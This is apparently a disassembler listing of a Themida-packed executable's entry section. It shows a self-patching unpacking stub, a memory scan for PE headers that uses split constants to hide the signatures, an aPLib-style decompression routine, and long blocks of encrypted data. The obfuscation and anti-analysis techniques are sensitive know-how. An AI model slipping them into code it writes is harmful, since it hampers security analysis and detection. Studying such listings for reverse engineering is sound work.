data for section: 000D3000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4D3000h dd 5D0ECDA0h, 4539Bh, 5FEC5h, 98172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0052EDDC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053219D SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00532413 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4D3086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4D3041 popa jmp short loc_4D3076 ; --------------------------------------------------------------------------- a70m db 'ш-70M',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4D3041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4D304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4D306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4D3074 loc_4D306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4D304E ; --------------------------------------------------------------------------- loc_4D3074: ; CODE XREF: start+57j mov edi, eax loc_4D3076: ; CODE XREF: start+1Bj jmp loc_4D3265 ; --------------------------------------------------------------------------- db 3 aJ2 db 'г╧j2',0Dh,0 dw 0CF03h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4D3086: ; CODE XREF: start+8j mov eax, offset loc_52EDDC mov ecx, offset word_4D326A push eax push ecx call sub_4D311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4D3265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4D311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4D3127: ; CODE XREF: sub_4D311B:loc_4D313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4D3132: ; CODE XREF: sub_4D311B+7Aj ; sub_4D311B+C3j ... add dl, dl jnz short loc_4D313B mov dl, [esi] inc esi adc dl, dl loc_4D313B: ; CODE XREF: sub_4D311B+19j jnb short loc_4D3127 add dl, dl jnz short loc_4D3146 mov dl, [esi] inc esi adc dl, dl loc_4D3146: ; CODE XREF: sub_4D311B+24j jnb short loc_4D3197 xor eax, eax add dl, dl jnz short loc_4D3153 mov dl, [esi] inc esi adc dl, dl loc_4D3153: ; CODE XREF: sub_4D311B+31j jnb loc_4D3238 add dl, dl jnz short loc_4D3162 mov dl, [esi] inc esi adc dl, dl loc_4D3162: ; CODE XREF: sub_4D311B+40j adc eax, eax add dl, dl jnz short loc_4D316D mov dl, [esi] inc esi adc dl, dl loc_4D316D: ; CODE XREF: sub_4D311B+4Bj adc eax, eax add dl, dl jnz short loc_4D3178 mov dl, [esi] inc esi adc dl, dl loc_4D3178: ; CODE XREF: sub_4D311B+56j adc eax, eax add dl, dl jnz short loc_4D3183 mov dl, [esi] inc esi adc dl, dl loc_4D3183: ; CODE XREF: sub_4D311B+61j adc eax, eax jz short loc_4D318D push edi sub edi, eax mov al, [edi] pop edi loc_4D318D: ; CODE XREF: sub_4D311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3197: ; CODE XREF: sub_4D311B:loc_4D3146j mov eax, 1 loc_4D319C: ; CODE XREF: sub_4D311B:loc_4D31B0j add dl, dl jnz short loc_4D31A5 mov dl, [esi] inc esi adc dl, dl loc_4D31A5: ; CODE XREF: sub_4D311B+83j adc eax, eax add dl, dl jnz short loc_4D31B0 mov dl, [esi] inc esi adc dl, dl loc_4D31B0: ; CODE XREF: sub_4D311B+8Ej jb short loc_4D319C sub eax, ebx mov ebx, 1 jnz short loc_4D31E3 mov ecx, 1 loc_4D31C0: ; CODE XREF: sub_4D311B:loc_4D31D4j add dl, dl jnz short loc_4D31C9 mov dl, [esi] inc esi adc dl, dl loc_4D31C9: ; CODE XREF: sub_4D311B+A7j adc ecx, ecx add dl, dl jnz short loc_4D31D4 mov dl, [esi] inc esi adc dl, dl loc_4D31D4: ; CODE XREF: sub_4D311B+B2j jb short loc_4D31C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D31E3: ; CODE XREF: sub_4D311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4D31F1: ; CODE XREF: sub_4D311B:loc_4D3205j add dl, dl jnz short loc_4D31FA mov dl, [esi] inc esi adc dl, dl loc_4D31FA: ; CODE XREF: sub_4D311B+D8j adc ecx, ecx add dl, dl jnz short loc_4D3205 mov dl, [esi] inc esi adc dl, dl loc_4D3205: ; CODE XREF: sub_4D311B+E3j jb short loc_4D31F1 cmp eax, 7D00h jnb short loc_4D3228 cmp eax, 500h jb short loc_4D3223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3223: ; CODE XREF: sub_4D311B+F8j cmp eax, 7Fh ja short loc_4D322B loc_4D3228: ; CODE XREF: sub_4D311B+F1j add ecx, 2 loc_4D322B: ; CODE XREF: sub_4D311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3238: ; CODE XREF: sub_4D311B:loc_4D3153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4D3259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3259: ; CODE XREF: sub_4D311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4D311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4D3265: ; CODE XREF: start:loc_4D3076j ; start+9Dj jmp loc_52EDDC ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4D326A dw 38E9h ; DATA XREF: start+77o dd 15233BCh, 0E101BCAAh, 8B11B81Fh, 22AF2A84h, 0FA1EE124h dd 2103521Ch, 170F4F7h, 45DCFD85h, 0D51DC236h, 655203FEh dd 72617473h, 0C5704199h, 0F378E92Eh, 0C1BE6B84h, 312D3430h dd 9D7E37C2h, 93D798BFh, 0FB9C3A01h, 0E2BB01D1h, 7B843B22h dd 0E19222EFh, 98BCAE0Eh, 0EF6B848Bh, 847B33C8h, 8B35BC7Eh dd 21BC2B84h, 0BF3B848Bh, 0ABF0CF4Ah, 0C20371CDh, 54805F37h dd 696D6568h, 8D617064h, 0C58B5077h, 6038D4E4h, 5D44E8h dd 33CBED81h, 9589061Eh, 0D029D33h, 210E8AB5h, 13D85h dd 0E155BD83h, 0C740007h, 0E2E4E88Bh, 714FB84Bh, 447078C2h dd 3E88E324h, 6A030851h, 3A3E845h, 749A6829h, 0DFD20783h dd 4B250A80h, 0D5F40A89h, 5214E988h, 80BEEC02h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 56h fsubr st, st(6) add bl, [edx-7Fh] jmp far ptr 0C7DAh:8B0034B9h ; --------------------------------------------------------------------------- dw 4845h dd 0ED808D8h, 8C78940h, 80E67D81h, 0F74331Dh, 83F90820h dd 0FF459823h, 63EB4312h, 61DC36E1h, 0C9142674h, 64604C2h dd 0FF7CC481h, 20498E02h, 8D003502h, 5D8B8045h, 0A285C708h dd 8D502519h, 0C3D10A00h, 54411888h, 51810B89h, 5D0106BDh dd 274AE375h, 64BA8D14h, 80750276h, 0F4BB0E8Ah, 0ABB85B48h dd 78543707h, 0FE6D0D3h, 754B1D08h, 0C3AF82F7h, 4A924647h dd 51F94631h, 5D61D142h, 0F0D0038Ah, 45EEECAFh, 0EB4DFC50h dd 0E4AD0451h, 3E628046h, 9BBAF740h, 0C347384h, 7FEB0C7Dh dd 6486F83Eh, 26F0126Dh, 10F4540Eh, 65C10A4Ah, 1D604F0h dd 3E0D1F8h, 2800CBC2h, 1C8ADB33h, 0E6FB8030h, 0A0A6172h dd 0E9057739h, 2293F7EBh, 0B361143Fh, 0FB660A0Dh, 0FA1E7A08h dd 610A75C3h, 72411A10h, 460A860Bh, 0F5240677h, 0F05D0110h dd 83F4ECC3h, 7202987Dh, 0C00CD9B0h, 32A5BB76h, 0EF826AAh dd 508D3B70h, 55053BA8h, 78820FFCh, 0DB0BD4Eh, 87F238AAh dd 0B90708BAh, 0FC427005h, 3648BDh, 49470FFEh, 0B9FA750Eh dd 0E06A2E22h, 0E3101BBh, 0EB823BF1h, 8EC0026Eh, 1F389086h dd 6551071Ch, 0EEA2361Fh, 8926778Ah, 5923F2E9h, 0CB57FB6Bh dd 21130E04h, 8A40C45Fh, 82052575h, 1E084566h, 57470021h dd 0D8B5BFC4h, 16008996h, 2C70F333h, 3D48267h, 97B417B1h dd 0C3D0DB8Bh, 951DCBBCh, 3A495142h, 8AD68C9Ah, 7EECD9F1h dd 725A1852h, 4D8A21C4h, 0C45242C1h, 5ED4F3F1h, 6CC903Eh dd 0E94E419Ah, 84002512h, 0DC534985h, 0A9ACB1h, 7183C107h dd 3015FDC2h, 873110FEh, 0AEA2F0Fh, 7AA40B81h, 0D09EBE0Bh dd 4075B3Dh, 34CB8C5Ch, 7B39DC0Ch, 0F76004Eh, 3D51B810h dd 3BF8D104h, 42C346ECh, 0AB2E0975h, 480E0111h, 9065E4ECh dd 84B84806h, 8E05C505h, 0D548A396h, 0C204F053h, 718C29A8h dd 0A0E78AA1h, 0FFECA00Eh, 77812BC3h, 1D220004h, 0F984C134h dd 20647533h, 0DD1D3FBCh, 30EF990Ah, 0EC41CC02h, 7F678CE2h dd 40E4FFCCh, 0E9FA4533h, 620A6094h, 0D28C52C4h, 0AA821102h dd 0AB118CB1h, 1384D05Ah, 3B185689h, 0EE2A825Eh, 5CA181AEh dd 0EA8A136Ch, 231388B9h, 0A0439714h, 0C7DAC010h, 0FCCBE4DEh dd 8DF0DB10h, 290FB4F6h, 5E281h, 0BB9B3BCh, 861014CAh dd 0A3A0FC22h, 0A7E6FBE1h, 8D2A500h, 2E86C87Ch, 292CD28h dd 0EA5F9D27h, 93F91132h, 6E58D413h, 8A7ED389h, 1C03F230h dd 18C1DC82h, 180E450Ah, 98823392h, 10D259h, 0E398BBF8h dd 0AEA184C9h, 0CCB6E600h, 0E08663ECh, 0C3820C5Bh, 0BF307611h dd 0DF1C1477h, 100F2C7Dh, 226B1490h, 722B000Fh, 1B73FDF8h dd 0BC00EC43h, 5390F040h, 79058CA9h, 0BAA2003Bh, 0F1825639h dd 0E13B7D67h, 0F5C10348h, 4F9C60h, 0BA4370Ch, 0C98C6769h dd 0BA3A8A60h, 1099CFBh, 0EFF0822Ch, 406C2460h, 0D994DCC5h dd 0EB61C8F6h, 0CFD88117h, 8C8981F7h, 86B017C3h, 0E9423BCh dd 0BD06B100h, 0E2231512h, 0A43F00B4h, 1E37818Ch, 0B1A48210h dd 0B6A484ECh, 12DA5F1Fh, 52B10F85h, 67921380h, 7810C381h dd 73E70E0Ah, 81807BAh, 991120A3h, 957B0034h, 0D2109AC8h dd 0D17BCC90h, 22409B01h, 5BF133B0h, 0C0967AD8h, 5E4D9450h dd 6001663h, 0BB21BE23h, 60EA40FAh, 0EE3E20B1h, 18C6696Fh dd 0F68077C7h, 0BE420003h, 0C0099961h, 2B009F0Dh, 3618E69Ah dd 0C217F93h, 0BB80DAB2h, 77000130h, 4D16349Ch, 65E7D0Ch dd 0ABF6369Fh, 3106586Ah, 7204205Bh, 869A3731h, 399FF369h dd 0DB68D180h, 6A7611F0h, 0B042303h, 78C9A9Dh, 1307CD29h dd 3F40A0E4h, 0C000282Fh, 43DF796Dh, 18F181FBh, 6175D9EEh dd 3207CC8Ch, 3FEC46Dh, 9B3E26B1h, 83BE5853h, 0E146D00Dh dd 0A10800E3h, 0A71945Ch, 0FA008E5Bh, 0A098FE18h, 2AA20422h dd 0F846F36h, 9A379F3Dh, 20D50E4h, 8289CF06h, 0F8A4EA8h dd 0EC5E1113h, 51A0FC77h, 0A9E0DCB2h, 63400FFBh, 36A36869h dd 3AD0706h, 9A042990h, 68005A8Bh, 96331208h, 0DF92433Eh dd 22C1C020h, 2FC4E6B2h, 0FBBE78C0h, 375B5D9Dh, 0AA619077h dd 9C2491h, 987939Fh, 6B001AB9h, 183881D0h, 1DBD024Ch dd 30C71636h, 12A32858h, 3A072C92h, 50F9980h, 0EEFAE0AEh dd 0C11A223h, 0C06B0E3Eh, 5C062B30h, 84F7F692h, 0F85A0910h dd 24218DDDh, 2939706h, 0F1A480D6h, 2495D2ECh, 1070FAB2h dd 0A9EE00BFh, 9D2B7F7Dh, 5BEC0321h, 313CFEBAh, 0EF5CD805h dd 0D44079DAh, 96B7ACE9h, 236403ABh, 3094E770h, 3AB42903h dd 50F3CCFh, 12420810h, 0FA01F55h, 18B814F7h, 0DA4802E8h dd 0A67C833Ch, 0CA32E02Ch, 2EF32EC1h, 0A01F01CAh, 4078A93Eh dd 760B8E4Ch, 92ACBA54h, 4EAA9B1Eh, 523A4BC1h, 0DDD4325Bh dd 893D9084h, 10BF4AF4h, 8E7551Ah, 808FB561h, 8B43D41h dd 0F7660Dh, 603F69BEh, 7A6748D1h, 0D3A50C00h, 52E64BC0h dd 9F53012Ch, 8B8AD5AAh, 0FE841185h, 0E9033443h, 0E8826496h dd 22C0C706h, 0E423A405h, 7032B83Eh, 0C86A0089h, 0F4D0B5F3h dd 0EE2A9686h, 0D604FC97h, 80469264h, 30416C99h, 590728A0h dd 437AF285h, 0D40789Ch, 52EF6103h, 118A428h, 1EF52D11h dd 0E1E9E667h, 4702208h, 73A6F68Ch, 1F2F001Fh, 239F3EFCh dd 30F39C9h, 78C1D69Eh, 4B780070h, 9DCBBED7h, 94021259h dd 0CE40FCD4h, 8B1C4091h, 0BF0E0EF1h, 4780BCC5h, 0E9C26FE8h dd 28B6F900h, 864F0466h, 7A56006Eh, 0F13BCCF5h, 0B201D64Dh dd 5205C36Fh, 59D09C07h, 217A00EBh, 0CC20A85Eh, 7B783066h dd 32723A1Fh, 3BB08E00h, 3BC3014Fh, 0F900A60Fh, 2EDFCE4Dh dd 5C0FB2AFh, 4006B3ACh, 0E98BC2F2h, 55C30B08h, 9100C1C4h dd 0BFC040E1h, 1F3E100Ah, 9A0F80BBh, 81B4022Ah, 47EC4059h dd 0F05A809Bh, 0D48C7126h, 7A1318A2h, 2843F210h, 0D822D15Eh dd 68EF44h, 23C86C3Bh, 7A4ABA84h, 22FEE0A9h, 0A08A3904h dd 9A0F06BBh, 18191CC6h, 0DA79660Ah, 549DE878h, 0BC07101Dh dd 82E0D84Fh, 920563h, 0AA990461h, 0B975E820h, 957949C0h dd 7EF0AEC4h, 0F22F04B1h, 0C2EFBDA2h, 0F820C074h, 33B34A16h dd 890EE94h, 0D30613C4h, 8A86C42h, 1C54CEBAh, 6961101h dd 1832831Fh, 29F8E900h, 0B7D98E4Ah, 4C303B02h, 60D30623h dd 24920474h, 60587B96h, 67CE512Bh, 0E716940Dh, 0D8214882h dd 8A652041h, 0C18183F1h, 0B618FB51h, 96A8409Fh, 18A2B316h dd 80BE4AC1h, 0E6C19E29h, 4D6F1A6h, 470695B7h, 0C4530797h dd 61563E87h, 0FC873110h, 8E0B20h, 5C1FCBB1h, 8840A040h dd 1A0818FAh, 0C15F7095h, 203E7116h, 8506044Bh, 9C439402h dd 86765Ah, 9870FE81h, 0B8A37D3Ch, 0A75DE300h, 0C1298B6Eh dd 0F5300C24h, 3D515C7Bh, 33B17820h, 0A8418876h, 0A9E8DCE0h dd 0C3C09A00h, 7A8A499Bh, 79B274C1h, 8882548Dh, 4E060620h dd 898F9A50h, 2300767Ch, 0F2D90342h, 798A9Ch, 591096B9h dd 84D50ED8h, 54CFBE05h, 0A80452E7h, 10083A6h, 850471FAh dd 0EE88B461h, 8457F884h, 6F1FB3F3h, 340078F2h, 0BE40EE53h dd 3F209B12h, 849A4821h, 5121318Eh, 77F51921h, 5898DC1Eh dd 0B72828B8h, 8444780Eh, 67710031h, 460BFF65h, 0E00F5D91h dd 0E15F5B01h, 6A0520BEh, 208E3042h, 0B67EEEF6h, 1B80900h dd 3CC7293Ah, 10780FF0h, 1162B51Ch, 6080C99Fh, 5FA68A83h dd 0F710B89Ah, 5B02FDE6h dd 653BF694h, 5C8A0040h, 0A2872491h, 54578C61h, 81FDC81h dd 21014C72h, 71C3488Ah, 9861A03Ch, 34FF3A0Ch, 19C15817h dd 70627289h, 9458A8B1h, 28BB5320h, 0BE083C3h, 9CD6085Dh dd 97AAA825h, 899AC248h, 0DBB5DF20h, 0F6B000EAh, 7A9569FAh dd 4EEC9AAFh, 1005348h, 6C715251h, 48494FDFh, 7F162F9h dd 49E50841h, 3964C60h, 8A845E6Dh, 0A01977AEh, 3AD976DAh dd 0FD84BD4h, 0B6A75994h, 204F2880h, 192CF0FBh, 0EF000871h dd 0E560ACEAh, 0C89B5254h, 8675CD00h, 2A017EAFh, 0C0646100h dd 268F60A1h, 0B81D00B4h, 6C228459h, 7E58869Ah, 0CF6D85F0h dd 9BF2C422h, 0CA3CF0F0h, 1CE80019h, 0B91BDF9Bh, 1501E585h dd 636A2E04h, 88F57684h, 4E201910h, 3E783A07h, 0FDD05D89h dd 9030D8EBh, 0F0F70B74h, 0D8A57359h, 0F6C42016h, 333C3A40h dd 98963B25h, 88188F7Bh, 47548CBh, 87FB7C80h, 2863C9E6h dd 0AF0EA8h, 54F27829h, 2B0BD52h, 90CF081Ah, 0EAC66D1h dd 359CA785h, 8F505BDh, 16A4413Dh, 298A5B06h, 64F218E4h dd 98F13418h, 0B20AFA80h, 6DDA2A0Ch, 0D9AF00D0h, 0D3ED7CF4h dd 0FD0003BEh, 2F2AAAC9h, 1C720Dh, 525D4D7Bh, 0EE3DD4F5h dd 5C66E72Ch, 0BC46C892h, 49916A3h, 0FDE433B7h, 0CC73C07Dh dd 0D3024FEEh, 0C73AE771h, 2D0E484h, 0F7829B3Dh, 5440854Dh dd 0B3A2BFBDh, 0DA0C6C51h, 268AA125h, 0B94C4D6Dh, 0CE035B80h dd 0C0229FA9h, 0E968502h, 0E4827605h, 36890088h, 9E097EF2h dd 0F7002763h, 0F13AA705h, 7401E6C7h, 20D098FCh, 7A48895Bh dd 6622044h, 371F95Ch, 20118913h, 7812803Dh, 3A7C2009h dd 0CC3A7A7Fh, 64CF8CA6h, 2EB9D80Bh, 3305154h, 8AB387EDh dd 9912138Bh, 540435AEh, 2136462h, 0BF12083Ch, 0BC7703h dd 0DB2B3D29h, 0ECFFAD53h, 9BEE9312h, 5C28CCC0h, 74DA37C9h dd 0A7134091h, 7E002DDCh, 0F6A3D7EAh, 926531h, 8E631AB8h dd 71D813B9h, 0C0CB4026h, 763F1F86h, 0BC210641h, 90658242h dd 0F9CB5B07h, 64D052A1h, 9A53CABAh, 89811734h, 0E61C308Ch dd 25833D4Ch, 420DA48h, 0A5E1D1F8h, 0AB918C0Bh, 0E2803F2h dd 21E234EEh, 0FE848C41h, 0B3442801h, 540F7D4h, 0EF260C28h dd 1A4C0878h, 885C5C17h, 77824E0h, 6034110h, 1050DAFFh dd 4A42042Ch, 0F508AC22h, 691CA10h, 49ACEC20h, 2A92B320h dd 3E48A99h, 0B2C018B7h, 6AE06C5Fh, 1D1D2CE4h, 1C1AEA7h dd 86CDF8F5h, 106048A8h, 60D88EFh, 2C164F3Ch, 2800A1F8h dd 592306DAh, 0EE96BA0Dh, 0A3D0B927h, 9A5E881Bh, 0F4756A00h dd 0EAB29B46h, 18C007AAh, 0CEFACDFBh, 6275880h, 6A609E42h dd 8FF554D0h, 0CD51003Fh, 35F7E952h, 3200EE5Ch, 61687B9Ch dd 4DA2BE23h, 67C80BAh, 0A9728FC4h, 86284854h, 0BE000C55h dd 0F401AC79h, 3A94E28h, 518D969Bh, 0C1EFF8F6h, 50DADC27h dd 0ECDBB1ECh, 8A36607h, 8C408E5Ah, 3D47F61Fh, 1D0BC103h dd 0B818451Bh, 0EB00DC6Ah, 22F2054Eh, 0C253B5h, 0E2B25625h dd 4AB38E2Ah, 0B40FE112h, 929D4808h, 6364D076h, 0C403E98Fh dd 0ED91C2D7h, 436AE8BFh, 64EE32h, 543A958Eh, 0E941BA1Bh dd 4AD3529h, 0B640B9C4h, 286BD56Eh, 2ABCEF00h, 0B7D7ED17h dd 9C263FC4h, 0C0351860h, 3463D5BDh, 0E0B12F40h, 3FC722h dd 174FDA47h, 326AD49Ah, 76B48900h, 5F414E1Ch, 27AC0125h dd 4C2A48EFh, 1E58BBA2h, 0E80CBD3Ah, 187F10AAh, 288DF56Fh dd 2400558Fh, 0C32B4DB2h, 0F5DD1DDh, 0B0D7DA53h, 1341AC5h dd 0A3B176F2h, 1E80BE0Ah, 4B0C7372h, 0E531003h, 8444913Eh dd 99B4EF20h, 3B037B1Dh, 0B17440ECh, 0AA290A5Fh, 80EB4Dh dd 7D340982h, 0D105EDBBh, 50E84253h, 0BF362802h, 742E488Fh dd 0A0E6510Eh, 7F8481EEh, 0B88AA9D9h, 4108ECBAh, 4042081Ch dd 93872CB0h, 0C60541DEh, 0BC40432Ah, 0E2BBC084h, 9C84A8E0h dd 57B1306Ch, 2CE8A979h, 0DCE2B318h, 2AF84121h, 7DE0AEC0h dd 596C2AECh, 46BC1518h, 0B21DD8A0h, 2071F224h, 44EE5922h dd 8B56000h, 1E69BAB9h, 8FF9ED74h, 0E1A9D104h, 0DB03693h dd 204F8442h, 0E0137D4Eh, 0AA1D41C6h, 0DFC1F089h, 41B5D908h dd 5996F3BCh, 0E2A88D54h, 87AFB015h, 0C5C4384h, 5837495Ah dd 0F91C10B2h, 6CB8003Bh, 75677497h, 0D084CCBh, 0DA80F03Ah dd 44837D91h, 0BD0F554Bh, 805D617Ch, 21D6C146h, 28710068h dd 97474335h, 0BB7C6207h, 0AA0D800Bh, 87DA00BEh, 79D07Ch dd 891C2D94h, 69C7236Eh, 5FCAC800h, 3F267167h, 4048607Ah dd 0DDBBA98h, 0BEB9E400h, 719DA58Fh, 866D0035h, 0AA88BD58h dd 69003B57h, 652295D1h, 3F52C3h, 10975A6Eh, 0DDD7F8Eh dd 84B91A12h, 35E01C5Ah, 0F82A5F04h, 79617B02h, 40E417A7h dd 0E0FCD8h, 453569A3h, 0BB471853h, 39E67B1Ch, 608CC8C0h dd 3B4F778Ah, 0A88C7D40h, 71406202h, 0C67C1B02h, 0C089E281h dd 38674A5h, 76AD5826h, 32B83323h, 0A02E0FE9h, 7E00EA7Dh dd 62039690h, 7AA5187Fh, 0E287401Eh, 0CA009A7Eh, 0B44C8679h dd 586F8Fh, 8CCB88CFh, 5F6D4914h, 0A945CCEDh, 725C0300h dd 7C1516A5h, 0DBFD04EFh, 0C5C47E9Bh, 0BB942E38h, 798E7102h dd 0C5C074A1h, 0E23DFDBBh, 7ACA818Ch, 0ADC04F86h, 3B27F0h dd 15D6CF7Bh, 3A286D92h, 0A259B900h, 0A382627Dh, 0BDDA0708h dd 72C9CBC4h, 6BC0357Bh, 0B8034221h, 62F65B65h, 981CD030h dd 394C0081h, 7DA18B85h, 0DF308070h, 0CBEA4007h, 71861CA4h dd 5552C0D8h, 4F7C81BCh db 0, 88h word_4D4152 dw 0CF47h ; DATA XREF: ___:off_42E644o dd 7D9E6092h, 5AA0C04Dh, 7F93BFA3h, 0A70DCB03h, 0D090F0ACh dd 59D86F86h, 0A8AB8C88h, 7BCE0065h, 80E0BB67h, 0FBF8AA18h dd 6C95D600h, 43858884h, 0D7834047h, 93CE6A00h, 1A758C22h dd 5B7A0036h, 76677297h, 0E501BBA4h, 0D282C4B5h, 0E8D77485h dd 0FA7F544Bh, 88220070h, 129DCC43h, 6009C98h, 0A7876D35h dd 797963BFh, 0A8E703DCh, 96E297F9h, 86457600h, 75AE4841h dd 887859h, 9B20D6DBh, 7E335C81h, 0C0008DFCh, 0CA682B8h dd 7C5B6A7h, 7A58A58Fh, 2385F0CAh, 0ACB0A97Fh, 26373144h dd 143877A0h, 4918883h, 4800FBBFh, 52B0B7F6h, 0F900B5FEh dd 0A79BF25Ch, 0A5D94259h, 0FCAE5934h, 0C900CE56h, 9DE35982h dd 0A225CA1h, 0DD8AD5A6h, 521CE11Ch, 53108118h, 0A91DBA42h dd 0EA8D2187h, 0F636302Ch, 2E3331CDh, 0E8608FEh, 2CF36E21h dd 2A7BF440h, 0B53A36A7h, 1631BB3Ch, 0B8C3D94Eh, 6CECF876h dd 27261E69h, 0CEAD80C7h, 1FE2B2F2h, 8C01D45Bh, 0ED7DC39Dh dd 0D0E53096h, 0A46B6B0h, 0EF221407h, 81D2F936h, 0C51C99B3h dd 68832102h, 52E90248h, 3DB2CFD6h, 1D3E14DEh, 59F0D582h dd 2738421h, 0D285BB44h, 7CD8C2A9h, 4212D60h, 16FC73BCh dd 0D0BAF8E2h, 2FC35794h, 0DD23Ah, 0FDC4270Ch, 143494EDh dd 78D5FEAFh, 43BFA440h, 2CE7021Eh, 31CE3698h, 0F0771084h dd 861A002Ch, 0E44A642Ah, 0BD0C5F68h, 0E8D3BBE2h, 0E1FE6059h dd 3A92C00Ah, 0F360E112h, 8D4E2240h, 72092427h, 740501A1h dd 7E4172A0h, 44B84013h, 41C0FC5Bh, 15231457h, 6F270086h dd 131A0328h, 2D004BC1h, 0BAA1E40Ah, 5E7E872Ch, 297842CDh dd 0DB07EAA0h, 0A4608485h, 10467382h, 0C8D1B5BBh, 0BA028329h dd 91D8C872h, 43014EFFh, 279DD526h, 0AFFDD2EFh, 3E54FACEh dd 304290D1h, 76F8B196h, 0B685A0C7h, 846F3AFBh, 0C81F2A8Ch dd 140FC238h, 0CA9317E3h, 0C0204C40h, 0E602BE46h, 0D636892Ch dd 6A11BA31h, 0F27420EFh, 6B904603h, 0A07A5F74h, 3EC15597h dd 0BB8C7DC6h, 0EB31C01Eh, 5BADA000h, 8469202h, 0B9740ECFh dd 1264F23Fh, 704490C7h, 97000C03h, 4D61D28Ch, 0E0A2ECh dd 740964Fh, 939EC784h, 250F248h, 0DE50DCB2h, 32D88037h dd 0A0FAA0BFh, 0EBB172C0h, 33D6198Ah, 0EE1480ACh, 5D152D0h dd 32A6B000h, 0AE6F38A4h, 36670021h, 349FB91Eh, 89FC7361h dd 0BD46BC0Bh, 9AE4EBADh, 0F65A02B5h, 0B0A9B4A7h, 9DE0ED01h dd 302A44Ch, 0B934372Eh, 53EABC6h, 0D74EF79h, 47B4F041h dd 8BCB8901h, 0D612A6B4h, 50E8B082h, 0C40815E6h, 844674h dd 0EE38A5FAh, 32E59373h, 0F7B0BCDAh, 3A2DC401h, 14C420h dd 6EB6AC7Ah, 0EF287181h, 2E296A00h, 947DA1AAh, 0A9BC00D7h dd 53E3601Dh, 360C9344h, 0F1ED5A47h, 0EC9700C9h, 89A272E8h dd 0F2666A3Dh, 21C508h, 0D0EC8FAFh, 0A4267AFCh, 4F4CCC1Ch dd 9C87F069h, 4B00969h, 0E1CD6Bh, 37D1E056h, 749984CEh dd 44124114h, 433B84h, 0DA2AA27Fh, 3CA8B5E9h, 54F88A8Eh dd 0AB42C4BAh, 7D5EC1B0h, 4F40072Ah, 953FF34Dh, 504040CFh dd 29C03CD5h, 0FA62EF16h, 2571DFh, 968EDE09h, 0DD3890C0h dd 0FD7F0218h, 1A84E258h, 690B1ABDh, 5C80E0B7h, 0E0A33086h dd 5126103Bh, 8A293884h, 0FCDED687h, 0D4C6EA0Ah, 5E123930h dd 2880FF41h, 0F83FA5B2h, 0E9C377C0h, 0A66EAE96h, 49215F38h dd 30039BA8h, 11003311h, 887D4FD5h, 251E59BDh, 4841B4EDh dd 0FF2180CAh, 8CF17D47h, 0D4EB013Eh, 137704B8h, 0CA8910C3h dd 3510038h, 0BF1899CCh, 91003398h, 24BCDF3Ah, 0B57482Ah dd 429A696Dh, 86384C27h, 1C2441CEh, 15864CB6h, 0A649FE8h dd 0E5046114h, 8AC4AD8h, 95128F65h, 3BACD030h, 5845003Ch dd 965B7E8h, 49073960h, 83BA2BE1h, 92B17591h, 0A33EC24h dd 0AB766D4Ah, 818511D0h, 0BB457381h, 102C31DAh, 372B901h dd 294051FDh, 56920DD4h, 0CC6248C0h, 9E204082h, 0F06782F5h dd 6A608344h, 0A00157ADh, 74B2293Bh, 0B985C649h, 8E842F7h dd 50C0F0DCh, 46BD897Dh, 0CC2221h, 577D48FEh, 3EC73A6Ch dd 0A6AC4706h, 95B0E89Ah, 0ED7C4C98h, 0B7BEF818h, 31A73491h dd 842840DEh, 0CC621Eh, 2A5AFAC5h, 92EBC3BDh, 0F7407E0h dd 1224E07Eh, 9CA1BC92h, 